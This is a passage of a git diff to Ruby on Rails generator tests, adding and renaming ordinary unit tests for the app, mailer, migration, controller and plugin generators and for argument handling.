+ assert_file "config/application.rb", /#\s+require\s+["']action_view\/railtie["']/
+ end
+
def test_generator_if_skip_sprockets_is_given
run_generator [destination_root, "--skip-sprockets"]
+ assert_no_file "config/initializers/assets.rb"
assert_file "config/application.rb" do |content|
assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content)
- assert_match(/config\.assets\.enabled = false/, content)
end
assert_file "Gemfile" do |content|
assert_no_match(/sass-rails/, content)
@@ -239,7 +253,6 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_no_match(/config\.assets\.digest = true/, content)
assert_no_match(/config\.assets\.js_compressor = :uglifier/, content)
assert_no_match(/config\.assets\.css_compressor = :sass/, content)
- assert_no_match(/config\.assets\.version = '1\.0'/, content)
end
end
@@ -248,37 +261,17 @@ class AppGeneratorTest < Rails::Generators::TestCase
if defined?(JRUBY_VERSION)
assert_gem "therubyrhino"
else
- assert_file "Gemfile", /# gem\s+["']therubyracer["']+, platforms: :ruby$/
+ assert_file "Gemfile", /# gem\s+["']therubyracer["']+, \s+platforms: :ruby$/
end
end
- def test_creation_of_a_test_directory
- run_generator
- assert_file 'test'
- end
-
- def test_creation_of_app_assets_images_directory
- run_generator
- assert_file "app/assets/images"
- end
-
- def test_creation_of_vendor_assets_javascripts_directory
- run_generator
- assert_file "vendor/assets/javascripts"
- end
-
- def test_creation_of_vendor_assets_stylesheets_directory
- run_generator
- assert_file "vendor/assets/stylesheets"
- end
-
def test_jquery_is_the_default_javascript_library
run_generator
assert_file "app/assets/javascripts/application.js" do |contents|
assert_match %r{^//= require jquery}, contents
assert_match %r{^//= require jquery_ujs}, contents
end
- assert_file "Gemfile", /^gem 'jquery-rails'/
+ assert_gem "jquery-rails"
end
def test_other_javascript_libraries
@@ -292,22 +285,43 @@ class AppGeneratorTest < Rails::Generators::TestCase
def test_javascript_is_skipped_if_required
run_generator [destination_root, "--skip-javascript"]
- assert_file "app/assets/javascripts/application.js" do |contents|
- assert_no_match %r{^//=\s+require\s}, contents
+
+ assert_no_file "app/assets/javascripts"
+ assert_no_file "vendor/assets/javascripts"
+
+ assert_file "app/views/layouts/application.html.erb" do |contents|
+ assert_match(/stylesheet_link_tag\s+'application', media: 'all' %>/, contents)
+ assert_no_match(/javascript_include_tag\s+'application' \%>/, contents)
end
+
assert_file "Gemfile" do |content|
- assert_match(/coffee-rails/, content)
+ assert_no_match(/coffee-rails/, content)
+ assert_no_match(/jquery-rails/, content)
end
end
- def test_inclusion_of_debugger
+ def test_inclusion_of_jbuilder
run_generator
- assert_file "Gemfile", /# gem 'debugger'/
+ assert_file "Gemfile", /gem 'jbuilder'/
end
- def test_inclusion_of_lazy_loaded_sdoc
+ def test_inclusion_of_a_debugger
run_generator
- assert_file 'Gemfile', /gem 'sdoc', require: false/
+ if defined?(JRUBY_VERSION)
+ assert_file "Gemfile" do |content|
+ assert_no_match(/byebug/, content)
+ assert_no_match(/debugger/, content)
+ end
+ elsif RUBY_VERSION < '2.0.0'
+ assert_file "Gemfile", /# gem 'debugger'/
+ else
+ assert_file "Gemfile", /# gem 'byebug'/
+ end
+ end
+
+ def test_inclusion_of_doc
+ run_generator
+ assert_file 'Gemfile', /gem 'sdoc',\s+'~> 0.4.0',\s+group: :doc/
end
def test_template_from_dir_pwd
@@ -357,7 +371,71 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_no_match(/run bundle install/, output)
end
-protected
+ def test_application_name_with_spaces
+ path = File.join(destination_root, "foo bar".shellescape)
+
+ # This also applies to MySQL apps but not with SQLite
+ run_generator [path, "-d", 'postgresql']
+
+ assert_file "foo bar/config/database.yml", /database: foo_bar_development/
+ assert_file "foo bar/config/initializers/session_store.rb", /key: '_foo_bar/
+ end
+
+ def test_spring
+ run_generator
+ assert_file "Gemfile", /gem 'spring', \s+group: :development/
+ end
+
+ def test_spring_binstubs
+ jruby_skip "spring doesn't run on JRuby"
+ generator.stubs(:bundle_command).with('install')
+ generator.expects(:bundle_command).with('exec spring binstub --all').once
+ quietly { generator.invoke_all }
+ end
+
+ def test_spring_no_fork
+ jruby_skip "spring doesn't run on JRuby"
+ Process.stubs(:respond_to?).with(:fork).returns(false)
+ run_generator
+
+ assert_file "Gemfile" do |content|
+ assert_no_match(/spring/, content)
+ end
+ end
+
+ def test_skip_spring
+ run_generator [destination_root, "--skip-spring"]
+
+ assert_file "Gemfile" do |content|
+ assert_no_match(/spring/, content)
+ end
+ end
+
+ def test_gitignore_when_sqlite3
+ run_generator
+
+ assert_file '.gitignore' do |content|
+ assert_match(/sqlite3/, content)
+ end
+ end
+
+ def test_gitignore_when_no_active_record
+ run_generator [destination_root, '--skip-active-record']
+
+ assert_file '.gitignore' do |content|
+ assert_no_match(/sqlite/i, content)
+ end
+ end
+
+ def test_gitignore_when_non_sqlite3_db
+ run_generator([destination_root, "-d", "mysql"])
+
+ assert_file '.gitignore' do |content|
+ assert_no_match(/sqlite/i, content)
+ end
+ end
+
+ protected
def action(*args, &block)
silence(:stdout) { generator.send(*args, &block) }
diff --git a/railties/test/generators/argv_scrubber_test.rb b/railties/test/generators/argv_scrubber_test.rb
new file mode 100644
index 0000000000..a94350cbd7
--- /dev/null
+++ b/railties/test/generators/argv_scrubber_test.rb
@@ -0,0 +1,136 @@
+require 'active_support/test_case'
+require 'active_support/testing/autorun'
+require 'rails/generators/rails/app/app_generator'
+require 'tempfile'
+
+module Rails
+ module Generators
+ class ARGVScrubberTest < ActiveSupport::TestCase # :nodoc:
+ # Future people who read this... These tests are just to surround the
+ # current behavior of the ARGVScrubber, they do not mean that the class
+ # *must* act this way, I just want to prevent regressions.
+
+ def test_version
+ ['-v', '--version'].each do |str|
+ scrubber = ARGVScrubber.new [str]
+ output = nil
+ exit_code = nil
+ scrubber.extend(Module.new {
+ define_method(:puts) { |str| output = str }
+ define_method(:exit) { |code| exit_code = code }
+ })
+ scrubber.prepare!
+ assert_equal "Rails #{Rails::VERSION::STRING}", output
+ assert_equal 0, exit_code
+ end
+ end
+
+ def test_default_help
+ argv = ['zomg', 'how', 'are', 'you']
+ scrubber = ARGVScrubber.new argv
+ args = scrubber.prepare!
+ assert_equal ['--help'] + argv.drop(1), args
+ end
+
+ def test_prepare_returns_args
+ scrubber = ARGVScrubber.new ['hi mom']
+ args = scrubber.prepare!
+ assert_equal '--help', args.first
+ end
+
+ def test_no_mutations
+ scrubber = ARGVScrubber.new ['hi mom'].freeze
+ args = scrubber.prepare!
+ assert_equal '--help', args.first
+ end
+
+ def test_new_command_no_rc
+ scrubber = Class.new(ARGVScrubber) {
+ def self.default_rc_file
+ File.join(Dir.tmpdir, 'whatever')
+ end
+ }.new ['new']
+ args = scrubber.prepare!
+ assert_equal [], args
+ end
+
+ def test_new_homedir_rc
+ file = Tempfile.new 'myrcfile'
+ file.puts '--hello-world'
+ file.flush
+
+ message = nil
+ scrubber = Class.new(ARGVScrubber) {
+ define_singleton_method(:default_rc_file) do
+ file.path
+ end
+ define_method(:puts) { |msg| message = msg }
+ }.new ['new']
+ args = scrubber.prepare!
+ assert_equal ['--hello-world'], args
+ assert_match 'hello-world', message
+ assert_match file.path, message
+ ensure
+ file.close
+ file.unlink
+ end
+
+ def test_rc_whitespace_separated
+ file = Tempfile.new 'myrcfile'
+ file.puts '--hello --world'
+ file.flush
+
+ message = nil
+ scrubber = Class.new(ARGVScrubber) {
+ define_method(:puts) { |msg| message = msg }
+ }.new ['new', "--rc=#{file.path}"]
+ args = scrubber.prepare!
+ assert_equal ['--hello', '--world'], args
+ ensure
+ file.close
+ file.unlink
+ end
+
+ def test_new_rc_option
+ file = Tempfile.new 'myrcfile'
+ file.puts '--hello-world'
+ file.flush
+
+ message = nil
+ scrubber = Class.new(ARGVScrubber) {
+ define_method(:puts) { |msg| message = msg }
+ }.new ['new', "--rc=#{file.path}"]
+ args = scrubber.prepare!
+ assert_equal ['--hello-world'], args
+ assert_match 'hello-world', message
+ assert_match file.path, message
+ ensure
+ file.close
+ file.unlink
+ end
+
+ def test_new_rc_option_and_custom_options
+ file = Tempfile.new 'myrcfile'
+ file.puts '--hello'
+ file.puts '--world'
+ file.flush
+
+ scrubber = Class.new(ARGVScrubber) {
+ define_method(:puts) { |msg| }
+ }.new ['new', 'tenderapp', '--love', "--rc=#{file.path}"]
+
+ args = scrubber.prepare!
+ assert_equal ["tenderapp", "--hello", "--world", "--love"], args
+ ensure
+ file.close
+ file.unlink
+ end
+
+ def test_no_rc
+ scrubber = ARGVScrubber.new ['new', '--no-rc']
+ args = scrubber.prepare!
+ assert_equal [], args
+ end
+ end
+ end
+end
diff --git a/railties/test/generators/controller_generator_test.rb b/railties/test/generators/controller_generator_test.rb
index 5205deafd9..4b2f8539d0 100644
--- a/railties/test/generators/controller_generator_test.rb
+++ b/railties/test/generators/controller_generator_test.rb
@@ -43,6 +43,12 @@ class ControllerGeneratorTest < Rails::Generators::TestCase
assert_file "app/assets/stylesheets/account.css"
end
+ def test_does_not_invoke_assets_if_required
+ run_generator ["account", "--skip-assets"]
+ assert_no_file "app/assets/javascripts/account.js"
+ assert_no_file "app/assets/stylesheets/account.css"
+ end
+
def test_invokes_default_test_framework
run_generator
assert_file "test/controllers/account_controller_test.rb"
@@ -61,7 +67,7 @@ class ControllerGeneratorTest < Rails::Generators::TestCase
def test_add_routes
run_generator
- assert_file "config/routes.rb", /get "account\/foo"/, /get "account\/bar"/
+ assert_file "config/routes.rb", /get 'account\/foo'/, /get 'account\/bar'/
end
def test_invokes_default_template_engine_even_with_no_action
@@ -82,4 +88,9 @@ class ControllerGeneratorTest < Rails::Generators::TestCase
assert_instance_method :bar, controller
end
end
+
+ def test_namespaced_routes_are_created_in_routes
+ run_generator ["admin/dashboard", "index"]
+ assert_file "config/routes.rb", /namespace :admin do\n\s+get 'dashboard\/index'\n/
+ end
end
diff --git a/railties/test/generators/create_migration_test.rb b/railties/test/generators/create_migration_test.rb
new file mode 100644
index 0000000000..e16a77479a
--- /dev/null
+++ b/railties/test/generators/create_migration_test.rb
@@ -0,0 +1,134 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/migration/migration_generator'
+
+class CreateMigrationTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+
+ class Migrator < Rails::Generators::MigrationGenerator
+ include Rails::Generators::Migration
+
+ def self.next_migration_number(dirname)
+ current_migration_number(dirname) + 1
+ end
+ end
+
+ tests Migrator
+
+ def default_destination_path
+ "db/migrate/create_articles.rb"
+ end
+
+ def create_migration(destination_path = default_destination_path, config = {}, generator_options = {}, &block)
+ migration_name = File.basename(destination_path, '.rb')
+ generator([migration_name], generator_options)
+ generator.set_migration_assigns!(destination_path)
+
+ dir, base = File.split(destination_path)
+ timestamped_destination_path = File.join(dir, ["%migration_number%", base].join('_'))
+
+ @migration = Rails::Generators::Actions::CreateMigration.new(generator, timestamped_destination_path, block || "contents", config)
+ end
+
+ def migration_exists!(*args)
+ @existing_migration = create_migration(*args)
+ invoke!
+ @generator = nil
+ end
+
+ def invoke!
+ capture(:stdout) { @migration.invoke! }
+ end
+
+ def revoke!
+ capture(:stdout) { @migration.revoke! }
+ end
+
+ def test_invoke
+ create_migration
+
+ assert_match(/create db\/migrate\/1_create_articles.rb\n/, invoke!)
+ assert_file @migration.destination
+ end
+
+ def test_invoke_pretended
+ create_migration(default_destination_path, {}, { pretend: true })
+
+ assert_no_file @migration.destination
+ end
+
+ def test_invoke_when_exists
+ migration_exists!
+ create_migration
+
+ assert_equal @existing_migration.destination, @migration.existing_migration
+ end
+
+ def test_invoke_when_exists_identical
+ migration_exists!
+ create_migration
+
+ assert_match(/identical db\/migrate\/1_create_articles.rb\n/, invoke!)
+ assert @migration.identical?
+ end
+
+ def test_invoke_when_exists_not_identical
+ migration_exists!
+ create_migration { "different content" }
+
+ assert_raise(Rails::Generators::Error) { invoke! }
+ end
+
+ def test_invoke_forced_when_exists_not_identical
+ dest = "db/migrate/migration.rb"
+ migration_exists!(dest)
+ create_migration(dest, force: true) { "different content" }
+
+ stdout = invoke!
+ assert_match(/remove db\/migrate\/1_migration.rb\n/, stdout)
+ assert_match(/create db\/migrate\/2_migration.rb\n/, stdout)
+ assert_file @migration.destination
+ assert_no_file @existing_migration.destination
+ end
+
+ def test_invoke_forced_pretended_when_exists_not_identical
+ migration_exists!
+ create_migration(default_destination_path, { force: true }, { pretend: true }) do
+ "different content"
+ end
+
+ stdout = invoke!
+ assert_match(/remove db\/migrate\/1_create_articles.rb\n/, stdout)
+ assert_match(/create db\/migrate\/2_create_articles.rb\n/, stdout)
+ assert_no_file @migration.destination
+ end
+
+ def test_invoke_skipped_when_exists_not_identical
+ migration_exists!
+ create_migration(default_destination_path, {}, { skip: true }) { "different content" }
+
+ assert_match(/skip db\/migrate\/2_create_articles.rb\n/, invoke!)
+ assert_no_file @migration.destination
+ end
+
+ def test_revoke
+ migration_exists!
+ create_migration
+
+ assert_match(/remove db\/migrate\/1_create_articles.rb\n/, revoke!)
+ assert_no_file @existing_migration.destination
+ end
+
+ def test_revoke_pretended
+ migration_exists!
+ create_migration(default_destination_path, {}, { pretend: true })
+
+ assert_match(/remove db\/migrate\/1_create_articles.rb\n/, revoke!)
+ assert_file @existing_migration.destination
+ end
+
+ def test_revoke_when_no_exists
+ create_migration
+
+ assert_match(/remove db\/migrate\/1_create_articles.rb\n/, revoke!)
+ end
+end
diff --git a/railties/test/generators/generator_generator_test.rb b/railties/test/generators/generator_generator_test.rb
index f4c975fc18..dcfeaaa8e0 100644
--- a/railties/test/generators/generator_generator_test.rb
+++ b/railties/test/generators/generator_generator_test.rb
@@ -16,6 +16,9 @@ class GeneratorGeneratorTest < Rails::Generators::TestCase
assert_file "lib/generators/awesome/awesome_generator.rb",
/class AwesomeGenerator < Rails::Generators::NamedBase/
+ assert_file "test/lib/generators/awesome_generator_test.rb",
+ /class AwesomeGeneratorTest < Rails::Generators::TestCase/,
+ /require 'generators\/awesome\/awesome_generator'/
end
def test_namespaced_generator_skeleton
@@ -29,6 +32,9 @@ class GeneratorGeneratorTest < Rails::Generators::TestCase
assert_file "lib/generators/rails/awesome/awesome_generator.rb",
/class Rails::AwesomeGenerator < Rails::Generators::NamedBase/
+ assert_file "test/lib/generators/rails/awesome_generator_test.rb",
+ /class Rails::AwesomeGeneratorTest < Rails::Generators::TestCase/,
+ /require 'generators\/rails\/awesome\/awesome_generator'/
end
def test_generator_skeleton_is_created_without_file_name_namespace
@@ -42,6 +48,9 @@ class GeneratorGeneratorTest < Rails::Generators::TestCase
assert_file "lib/generators/awesome_generator.rb",
/class AwesomeGenerator < Rails::Generators::NamedBase/
+ assert_file "test/lib/generators/awesome_generator_test.rb",
+ /class AwesomeGeneratorTest < Rails::Generators::TestCase/,
+ /require 'generators\/awesome_generator'/
end
def test_namespaced_generator_skeleton_without_file_name_namespace
@@ -55,5 +64,8 @@ class GeneratorGeneratorTest < Rails::Generators::TestCase
assert_file "lib/generators/rails/awesome_generator.rb",
/class Rails::AwesomeGenerator < Rails::Generators::NamedBase/
+ assert_file "test/lib/generators/rails/awesome_generator_test.rb",
+ /class Rails::AwesomeGeneratorTest < Rails::Generators::TestCase/,
+ /require 'generators\/rails\/awesome_generator'/
end
end
diff --git a/railties/test/generators/generator_test.rb b/railties/test/generators/generator_test.rb
new file mode 100644
index 0000000000..7871399dd7
--- /dev/null
+++ b/railties/test/generators/generator_test.rb
@@ -0,0 +1,85 @@
+require 'active_support/test_case'
+require 'active_support/testing/autorun'
+require 'rails/generators/app_base'
+
+module Rails
+ module Generators
+ class GeneratorTest < ActiveSupport::TestCase
+ def make_builder_class
+ Class.new(AppBase) do
+ add_shared_options_for "application"
+
+ # include a module to get around thor's method_added hook
+ include(Module.new {
+ def gemfile_entries; super; end
+ def invoke_all; super; self; end
+ def add_gem_entry_filter; super; end
+ def gemfile_entry(*args); super; end
+ })
+ end
+ end
+
+ def test_construction
+ klass = make_builder_class
+ assert klass.start(['new', 'blah'])
+ end
+
+ def test_add_gem
+ klass = make_builder_class
+ generator = klass.start(['new', 'blah'])
+ generator.gemfile_entry 'tenderlove'
+ assert_includes generator.gemfile_entries.map(&:name), 'tenderlove'
+ end
+
+ def test_add_gem_with_version
+ klass = make_builder_class
+ generator = klass.start(['new', 'blah'])
+ generator.gemfile_entry 'tenderlove', '2.0.0'
+ assert generator.gemfile_entries.find { |gfe|
+ gfe.name == 'tenderlove' && gfe.version == '2.0.0'
+ }
+ end
+
+ def test_add_github_gem
+ klass = make_builder_class
+ generator = klass.start(['new', 'blah'])
+ generator.gemfile_entry 'tenderlove', github: 'hello world'
+ assert generator.gemfile_entries.find { |gfe|
+ gfe.name == 'tenderlove' && gfe.options[:github] == 'hello world'
+ }
+ end
+
+ def test_add_path_gem
+ klass = make_builder_class
+ generator = klass.start(['new', 'blah'])
+ generator.gemfile_entry 'tenderlove', path: 'hello world'
+ assert generator.gemfile_entries.find { |gfe|
+ gfe.name == 'tenderlove' && gfe.options[:path] == 'hello world'
+ }
+ end
+
+ def test_filter
+ klass = make_builder_class
+ generator = klass.start(['new', 'blah'])
+ gems = generator.gemfile_entries
+ generator.add_gem_entry_filter { |gem|
+ gem.name != gems.first.name
+ }
+ assert_equal gems.drop(1), generator.gemfile_entries
+ end
+
+ def test_two_filters
+ klass = make_builder_class
+ generator = klass.start(['new', 'blah'])
+ gems = generator.gemfile_entries
+ generator.add_gem_entry_filter { |gem|
+ gem.name != gems.first.name
+ }
+ generator.add_gem_entry_filter { |gem|
+ gem.name != gems[1].name
+ }
+ assert_equal gems.drop(2), generator.gemfile_entries
+ end
+ end
+ end
+end
diff --git a/railties/test/generators/generators_test_helper.rb b/railties/test/generators/generators_test_helper.rb
index 7fdd54fc30..77ec2f1c0c 100644
--- a/railties/test/generators/generators_test_helper.rb
+++ b/railties/test/generators/generators_test_helper.rb
@@ -1,10 +1,14 @@
require 'abstract_unit'
+require 'active_support/core_ext/module/remove_method'
require 'rails/generators'
require 'rails/generators/test_case'
module Rails
- def self.root
- @root ||= File.expand_path(File.join(File.dirname(__FILE__), '..', 'fixtures'))
+ class << self
+ remove_possible_method :root
+ def root
+ @root ||= File.expand_path(File.join(File.dirname(__FILE__), '..', 'fixtures'))
+ end
end
end
Rails.application.config.root = Rails.root
@@ -16,6 +20,7 @@ Rails.application.load_generators
require 'active_record'
require 'action_dispatch'
+require 'action_view'
module GeneratorsTestHelper
def self.included(base)
diff --git a/railties/test/generators/mailer_generator_test.rb b/railties/test/generators/mailer_generator_test.rb
index 6b2351fc1a..25649881eb 100644
--- a/railties/test/generators/mailer_generator_test.rb
+++ b/railties/test/generators/mailer_generator_test.rb
@@ -1,7 +1,6 @@
require 'generators/generators_test_helper'
require 'rails/generators/mailer/mailer_generator'
-
class MailerGeneratorTest < Rails::Generators::TestCase
include GeneratorsTestHelper
arguments %w(notifier foo bar)
@@ -23,8 +22,11 @@ class MailerGeneratorTest < Rails::Generators::TestCase
end
def test_check_class_collision
- content = capture(:stderr){ run_generator ["object"] }
- assert_match(/The name 'Object' is either already used in your application or reserved/, content)
+ Object.send :const_set, :Notifier, Class.new
+ content = capture(:stderr){ run_generator }
+ assert_match(/The name 'Notifier' is either already used in your application or reserved/, content)
+ ensure
+ Object.send :remove_const, :Notifier
end
def test_invokes_default_test_framework
@@ -34,17 +36,58 @@ class MailerGeneratorTest < Rails::Generators::TestCase
assert_match(/test "foo"/, test)
assert_match(/test "bar"/, test)
end
+ assert_file "test/mailers/previews/notifier_preview.rb" do |preview|
+ assert_match(/\# Preview all emails at http:\/\/localhost\:3000\/rails\/mailers\/notifier/, preview)
+ assert_match(/class NotifierPreview < ActionMailer::Preview/, preview)
+ assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/notifier\/foo/, preview)
+ assert_instance_method :foo, preview do |foo|
+ assert_match(/Notifier.foo/, foo)
+ end
+ assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/notifier\/bar/, preview)
+ assert_instance_method :bar, preview do |bar|
+ assert_match(/Notifier.bar/, bar)
+ end
+ end
end
- def test_invokes_default_template_engine
+ def test_check_test_class_collision
+ Object.send :const_set, :NotifierTest, Class.new
+ content = capture(:stderr){ run_generator }
+ assert_match(/The name 'NotifierTest' is either already used in your application or reserved/, content)
+ ensure
+ Object.send :remove_const, :NotifierTest
+ end
+
+ def test_check_preview_class_collision
+ Object.send :const_set, :NotifierPreview, Class.new
+ content = capture(:stderr){ run_generator }
+ assert_match(/The name 'NotifierPreview' is either already used in your application or reserved/, content)
+ ensure
+ Object.send :remove_const, :NotifierPreview
+ end
+
+ def test_invokes_default_text_template_engine
run_generator
assert_file "app/views/notifier/foo.text.erb" do |view|
- assert_match(%r(app/views/notifier/foo\.text\.erb), view)
+ assert_match(%r(\sapp/views/notifier/foo\.text\.erb), view)
assert_match(/<%= @greeting %>/, view)
end
assert_file "app/views/notifier/bar.text.erb" do |view|
- assert_match(%r(app/views/notifier/bar\.text\.erb), view)
+ assert_match(%r(\sapp/views/notifier/bar\.text\.erb), view)
+ assert_match(/<%= @greeting %>/, view)
+ end
+ end
+
+ def test_invokes_default_html_template_engine
+ run_generator
+ assert_file "app/views/notifier/foo.html.erb" do |view|
+ assert_match(%r(\sapp/views/notifier/foo\.html\.erb), view)
+ assert_match(/<%= @greeting %>/, view)
+ end
+
+ assert_file "app/views/notifier/bar.html.erb" do |view|
+ assert_match(%r(\sapp/views/notifier/bar\.html\.erb), view)
assert_match(/<%= @greeting %>/, view)
end
end
@@ -65,7 +108,13 @@ class MailerGeneratorTest < Rails::Generators::TestCase
assert_match(/class Farm::Animal < ActionMailer::Base/, mailer)
assert_match(/en\.farm\.animal\.moos\.subject/, mailer)
end
+ assert_file "test/mailers/previews/farm/animal_preview.rb" do |preview|
+ assert_match(/\# Preview all emails at http:\/\/localhost\:3000\/rails\/mailers\/farm\/animal/, preview)
+ assert_match(/class Farm::AnimalPreview < ActionMailer::Preview/, preview)
+ assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/farm\/animal\/moos/, preview)
+ end
assert_file "app/views/farm/animal/moos.text.erb"
+ assert_file "app/views/farm/animal/moos.html.erb"
end
def test_actions_are_turned_into_methods
diff --git a/railties/test/generators/migration_generator_test.rb b/railties/test/generators/migration_generator_test.rb
index d876597944..6fac643ed0 100644
--- a/railties/test/generators/migration_generator_test.rb
+++ b/railties/test/generators/migration_generator_test.rb
@@ -197,4 +197,54 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
def test_properly_identifies_usage_file
assert generator_class.send(:usage_path)
end
+
+ def test_migration_with_singular_table_name
+ with_singular_table_name do
+ migration = "add_title_body_to_post"
+ run_generator [migration, 'title:string']
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/add_column :post, :title, :string/, change)
+ end
+ end
+ end
+ end
+
+ def test_create_join_table_migration_with_singular_table_name
+ with_singular_table_name do
+ migration = "add_media_join_table"
+ run_generator [migration, "artist_id", "music:uniq"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/create_join_table :artist, :music/, change)
+ assert_match(/# t.index \[:artist_id, :music_id\]/, change)
+ assert_match(/ t.index \[:music_id, :artist_id\], unique: true/, change)
+ end
+ end
+ end
+ end
+
+ def test_create_table_migration_with_singular_table_name
+ with_singular_table_name do
+ run_generator ["create_book", "title:string", "content:text"]
+ assert_migration "db/migrate/create_book.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/create_table :book/, change)
+ assert_match(/ t\.string :title/, change)
+ assert_match(/ t\.text :content/, change)
+ end
+ end
+ end
+ end
+
+ private
+
+ def with_singular_table_name
+ old_state = ActiveRecord::Base.pluralize_table_names
+ ActiveRecord::Base.pluralize_table_names = false
+ yield
+ ensure
+ ActiveRecord::Base.pluralize_table_names = old_state
+ end
end
diff --git a/railties/test/generators/model_generator_test.rb b/railties/test/generators/model_generator_test.rb
index 01ab77ee20..b67cf02d7b 100644
--- a/railties/test/generators/model_generator_test.rb
+++ b/railties/test/generators/model_generator_test.rb
@@ -34,6 +34,13 @@ class ModelGeneratorTest < Rails::Generators::TestCase
assert_no_migration "db/migrate/create_accounts.rb"
end
+ def test_plural_names_are_singularized
+ content = run_generator ["accounts".freeze]
+ assert_file "app/models/account.rb", /class Account < ActiveRecord::Base/
+ assert_file "test/models/account_test.rb", /class AccountTest/
+ assert_match(/\[WARNING\] The model name 'accounts' was recognized as a plural, using the singular 'account' instead\. Override with --force-plural or setup custom inflection rules for this noun before running the generator\./, content)
+ end
+
def test_model_with_underscored_parent_option
run_generator ["account", "--parent", "admin/account"]
assert_file "app/models/account.rb", /class Account < Admin::Account/
diff --git a/railties/test/generators/named_base_test.rb b/railties/test/generators/named_base_test.rb
index 2bc2c33a72..ac5cfff229 100644
--- a/railties/test/generators/named_base_test.rb
+++ b/railties/test/generators/named_base_test.rb
@@ -117,6 +117,25 @@ class NamedBaseTest < Rails::Generators::TestCase
assert Rails::Generators.hidden_namespaces.include?('hidden')
end
+ def test_scaffold_plural_names_with_model_name_option
+ g = generator ['Admin::Foo'], model_name: 'User'
+ assert_name g, 'user', :singular_name
+ assert_name g, 'User', :name
+ assert_name g, 'user', :file_path
+ assert_name g, 'User', :class_name
+ assert_name g, 'user', :file_name
+ assert_name g, 'User', :human_name
+ assert_name g, 'users', :plural_name
+ assert_name g, 'user', :i18n_scope
+ assert_name g, 'users', :table_name
+ assert_name g, 'Admin::Foos', :controller_name
+ assert_name g, %w(admin), :controller_class_path
+ assert_name g, 'Admin::Foos', :controller_class_name
+ assert_name g, 'admin/foos', :controller_file_path
+ assert_name g, 'foos', :controller_file_name
+ assert_name g, 'admin.foos', :controller_i18n_scope
+ end
+
protected
def assert_name(generator, value, method)
diff --git a/railties/test/generators/namespaced_generators_test.rb b/railties/test/generators/namespaced_generators_test.rb
index a4d8b3d1b0..d677c21f15 100644
--- a/railties/test/generators/namespaced_generators_test.rb
+++ b/railties/test/generators/namespaced_generators_test.rb
@@ -44,7 +44,7 @@ class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
end
end
- def test_helpr_is_also_namespaced
+ def test_helper_is_also_namespaced
run_generator
assert_file "app/helpers/test_app/account_helper.rb", /module TestApp/, / module AccountHelper/
assert_file "test/helpers/test_app/account_helper_test.rb", /module TestApp/, / class AccountHelperTest/
@@ -63,7 +63,7 @@ class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
def test_routes_should_not_be_namespaced
run_generator
- assert_file "config/routes.rb", /get "account\/foo"/, /get "account\/bar"/
+ assert_file "config/routes.rb", /get 'account\/foo'/, /get 'account\/bar'/
end
def test_invokes_default_template_engine_even_with_no_action
diff --git a/railties/test/generators/plugin_new_generator_test.rb b/railties/test/generators/plugin_generator_test.rb
index 32c7612a8f..69ff23eb95 100644
--- a/railties/test/generators/plugin_new_generator_test.rb
+++ b/railties/test/generators/plugin_generator_test.rb
@@ -1,5 +1,5 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/plugin_new/plugin_new_generator'
+require 'rails/generators/rails/plugin/plugin_generator'
require 'generators/shared_generator_tests'
DEFAULT_PLUGIN_FILES = %w(
@@ -18,7 +18,7 @@ DEFAULT_PLUGIN_FILES = %w(
test/dummy
)
-class PluginNewGeneratorTest < Rails::Generators::TestCase
+class PluginGeneratorTest < Rails::Generators::TestCase
include GeneratorsTestHelper
destination File.join(Rails.root, "tmp/bukkits")
arguments [destination_root]
@@ -35,6 +35,12 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
content = capture(:stderr){ run_generator [File.join(destination_root, "43things")] }
assert_equal "Invalid plugin name 43things. Please give a name which does not start with numbers.\n", content
+
+ content = capture(:stderr){ run_generator [File.join(destination_root, "plugin")] }
+ assert_equal "Invalid plugin name plugin. Please give a name which does not match one of the reserved rails words.\n", content
+
+ content = capture(:stderr){ run_generator [File.join(destination_root, "Digest")] }
+ assert_equal "Invalid plugin name Digest, constant Digest is already in use. Please choose another plugin name.\n", content
end
def test_camelcase_plugin_name_underscores_filenames
@@ -58,6 +64,20 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
assert_file "test/integration/navigation_test.rb", /ActionDispatch::IntegrationTest/
end
+ def test_inclusion_of_a_debugger
+ run_generator [destination_root, '--full']
+ if defined?(JRUBY_VERSION)
+ assert_file "Gemfile" do |content|
+ assert_no_match(/byebug/, content)
+ assert_no_match(/debugger/, content)
+ end
+ elsif RUBY_VERSION < '2.0.0'
+ assert_file "Gemfile", /# gem 'debugger'/
+ else
+ assert_file "Gemfile", /# gem 'byebug'/
+ end
+ end
+
def test_generating_test_files_in_full_mode_without_unit_test_files
run_generator [destination_root, "-T", "--full"]
@@ -139,7 +159,7 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
assert_match(/bukkits/, contents)
end
assert_match(/run bundle install/, result)
- assert_match(/Using bukkits \(0\.0\.1\)/, result)
+ assert_match(/Using bukkits \(?0\.0\.1\)?/, result)
assert_match(/Your bundle is complete/, result)
assert_equal 1, result.scan("Your bundle is complete").size
end
@@ -168,22 +188,22 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
run_generator
FileUtils.cd destination_root
quietly { system 'bundle install' }
- assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test`)
+ assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test 2>&1`)
end
def test_ensure_that_tests_works_in_full_mode
run_generator [destination_root, "--full", "--skip_active_record"]
FileUtils.cd destination_root
quietly { system 'bundle install' }
- assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test`)
